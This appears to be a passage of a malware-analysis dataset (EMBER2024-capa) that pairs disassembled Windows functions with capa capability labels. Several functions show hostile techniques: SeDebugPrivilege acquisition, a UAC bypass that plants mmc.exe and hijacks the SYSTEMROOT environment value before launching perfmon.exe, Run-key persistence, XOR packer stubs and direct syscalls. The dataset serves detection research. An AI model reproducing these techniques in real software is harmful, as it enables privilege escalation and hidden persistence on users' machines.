joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cc0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402ceb
xor al, al
jmp 0x402d52
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402d0e
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x402d52
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x18]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x402d50
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x402d52
mov al, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret

Function at 0x402d60
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402db8
cmp dword [ebp - 4], 0
je 0x402db8
mov eax, dword [ebp + 0x14]
push eax
call fcn.00405b1b
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x402dc0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402dff
cmp dword [ebp - 4], 0
je 0x402dff
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402e10
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 5
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402e7e
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 8], 1
sete al
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret

Function at 0x402eb0
Capabilities:
Copy file
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x418], ax
push 0x206
push 0
lea ecx, [ebp - 0x416]
push ecx
call fcn.004058e0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x620], dx
push 0x206
push 0
lea eax, [ebp - 0x61e]
push eax
call fcn.004058e0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.004058e0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.mmc.exe
lea ecx, [ebp - 0x210]
push ecx
call fcn.00405d34
add esp, 8
test eax, eax
jne 0x403040
lea edx, [ebp - 0x418]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.7zPerformance
lea eax, [ebp - 0x418]
push eax
call fcn.00405a9b
add esp, 8
lea ecx, [ebp - 0x418]
push ecx
lea edx, [ebp - 0x620]
push edx
call fcn.00405acc
add esp, 8
push str.System32
lea eax, [ebp - 0x620]
push eax
call fcn.00405a9b
add esp, 8
push 0
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.mmc.exe
lea eax, [ebp - 0x620]
push eax
call fcn.00405a9b
add esp, 8
push 0
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x418]
push eax
push str.SYSTEMROOT
push str.Volatile_Environment
push 0x80000001
call fcn.00402d60
add esp, 0x10
push 6
push 0
push 0
push str.perfmon.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.SYSTEMROOT
push str.Volatile_Environment
push 0x80000001
call fcn.00402dc0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret
Function at 0x405605
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417088]
jne 0x40560f
repz ret
jmp fcn.00406a66

Function at 0x40d012
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004087ad
and dword [ebp - 0x14], 0
cmp dword [0x43a3a4], 0
mov dword [ebp - 0x18], eax
jne 0x40d0c5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d16d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40d16d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43a3a4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43a3a8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43a3ac], eax
call edi
push eax
call esi
mov dword [0x43a3b4], eax
test eax, eax
je 0x40d0c5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43a3b0], eax
mov eax, dword [0x43a3b0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40d11e
cmp dword [0x43a3b4], ecx
je 0x40d11e
push eax
call esi
push dword [0x43a3b4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40d11e
test ebx, ebx
je 0x40d11e
call edi
test eax, eax
je 0x40d115
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40d115
test byte [ebp - 8], 1
jne 0x40d11e
or dword [ebp + 0x10], 0x200000
jmp 0x40d151
mov eax, dword [0x43a3a8]
cmp eax, dword [ebp - 0x18]
je 0x40d151
push eax
call esi
test eax, eax
je 0x40d151
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40d151
mov eax, dword [0x43a3ac]
cmp eax, dword [ebp - 0x18]
je 0x40d151
push eax
call esi
test eax, eax
je 0x40d151
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43a3a4]
call esi
test eax, eax
je 0x40d16d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40d16f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405605
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x7c9b34d6
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..text
mov ebx, 0x42f314
nop
nop
mov ecx, 0x3b401b20
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x482454
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
mov eax, dword [ebp - 8]
call fcn.004058ec
mov eax, dword [ebp - 0xc]
call fcn.004058ec
mov eax, dword [ebp + 8]
call fcn.004058ec
xor eax, eax
push ebp
push 0x482557
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x420e38]
call 0x420f7c
mov ebx, eax
mov eax, dword [ebp - 4]
mov edx, 0x482570
call 0x405894
jne 0x4824bf
mov esi, 0x80000002
mov eax, dword [ebp - 4]
mov edx, 0x48257c
call 0x405894
jne 0x4824d3
mov esi, 0x80000001
mov eax, dword [ebp - 8]
mov edx, 0x48257c
call 0x405894
jne 0x4824ef
lea eax, [ebp - 0x10]
mov edx, 0x482588
call fcn.00405504
mov eax, dword [ebp - 8]
mov edx, 0x482570
call 0x405894
jne 0x48250b
lea eax, [ebp - 0x10]
mov edx, 0x482588
call fcn.00405504
mov edx, esi
mov eax, ebx
call fcn.00421014
mov cl, 1
mov edx, dword [ebp - 0x10]
mov eax, ebx
call fcn.00421158
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov eax, ebx
call 0x42187c
mov eax, ebx
call fcn.00404640
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48255e
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405490
lea eax, [ebp + 8]
call fcn.0040546c
ret

Function at 0x4825b8
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004058ec
xor eax, eax
push ebp
push 0x482675
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x482650
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf003f
mov dl, 1
mov eax, dword [0x420e38]
call 0x420f7c
mov ebx, eax
mov esi, 0x80000001
lea eax, [ebp - 8]
mov edx, 0x482690
call fcn.00405504
mov edx, esi
mov eax, ebx
call fcn.00421014
mov cl, 1
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00421158
mov edx, dword [ebp - 4]
mov eax, ebx
call 0x421ad8
test al, al
je 0x48263b
mov byte [ebp - 9], 1
jmp 0x48263f
mov byte [ebp - 9], 0
mov eax, ebx
call fcn.00404640
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48265a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48267c
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405490
ret
Function at 0x4b3350
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x79000]
mov dword [edi + 0x8f7b0], 0xf35bcc7
push edi
or ebp, 0xffffffff
jmp 0x4b337a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4b3381
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b3370
mov eax, 1
add ebx, ebx
jne 0x4b3393
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4b33a4
jne 0x4b33c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b33c3
dec eax
add ebx, ebx
jne 0x4b33b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4b3388
add ebx, ebx
jne 0x4b33bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4b3415
xor ecx, ecx
sub eax, 3
jb 0x4b33db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4b344a
sar eax, 1
mov ebp, eax
jmp 0x4b33e6
add ebx, ebx
jne 0x4b33e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b33b4
inc ecx
add ebx, ebx
jne 0x4b33f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4b33b4
add ebx, ebx
jne 0x4b3401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4b33f6
jne 0x4b3412
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4b33f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4b3434
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4b3426
jmp 0x4b3376
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4b3434
add edi, ecx
jmp 0x4b3376
pop esi
mov edi, esi
mov ecx, 0x4cef
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4b3452
cmp byte [edi], 0x1f
jne 0x4b3452
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4b3457
lea edi, [esi + 0xaf000]
mov eax, dword [edi]
or eax, eax
je 0x4b34c6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb31d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb33c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4b3484
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb33cc]
or eax, eax
je 0x4b34c0
mov dword [ebx], eax
add ebx, 4
jmp 0x4b34a1
call dword [esi + 0xb33dc]
mov ebp, dword [esi + 0xb33d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4b34fa
sub esp, 0xffffff80
jmp fcn.0048e85c
Function at 0x5fc370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x5fc38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x625074
push ecx
mov edi, eax
call fcn.00610198
mov esi, eax
add esp, 8
test esi, esi
jne 0x5fc3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0061002e
push esi
call fcn.0060ffb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x5ff850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x5ff8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x62a720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x5ff8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006101e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x5ff8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x62a720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x5ff92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00611082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x5ff957
mov word [eax], si
add eax, 2
push eax
call fcn.00611030
add esp, 4
jmp 0x5ff959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x5ff8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x5ff8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x5ffff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x600080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6000c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x625458
push ecx
call fcn.006101e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006101e1
add esp, 0x10
jmp 0x6000d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0061020b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.0060fdff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00600050
mov eax, dword [0x62a728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x60013b
push esi
call fcn.005fffb0
add esp, 4
mov dword [0x62a728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x60014c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.005ffff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x603440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6034b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x60348e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x603471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x60347e
add edx, ecx
cmp ebx, edx
jb 0x60348a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x603467
xor ecx, ecx
jmp 0x6034a2
test eax, eax
jne 0x603492
xor ecx, ecx
jmp 0x6034a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006033c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x6038f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x603921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x603946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x60396e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x603993
push ecx
push esi
call fcn.006034c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0x604c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0x604c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0x604c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0x604c38
add edx, eax
cmp ebx, edx
jb 0x604c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0x604c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0x604c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0x604c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x604cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x604c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x604ca8
add edx, ecx
cmp ebx, edx
jb 0x604cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0x604c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x604f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00611145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x604ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x604fdd
lea eax, [esp + 0x18]
push eax
jmp 0x604fe2
push 0x62a720
call fcn.00610fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x604fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x604f40
push 4
push ecx
push eax
call fcn.0061143f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0x605310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00611145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0x6053ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x60538d
lea eax, [esp + 0x18]
push eax
jmp 0x605392
push 0x62a720
call fcn.00610fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0x605360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0x604f40
push 4
push ecx
push eax
call fcn.0061143f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret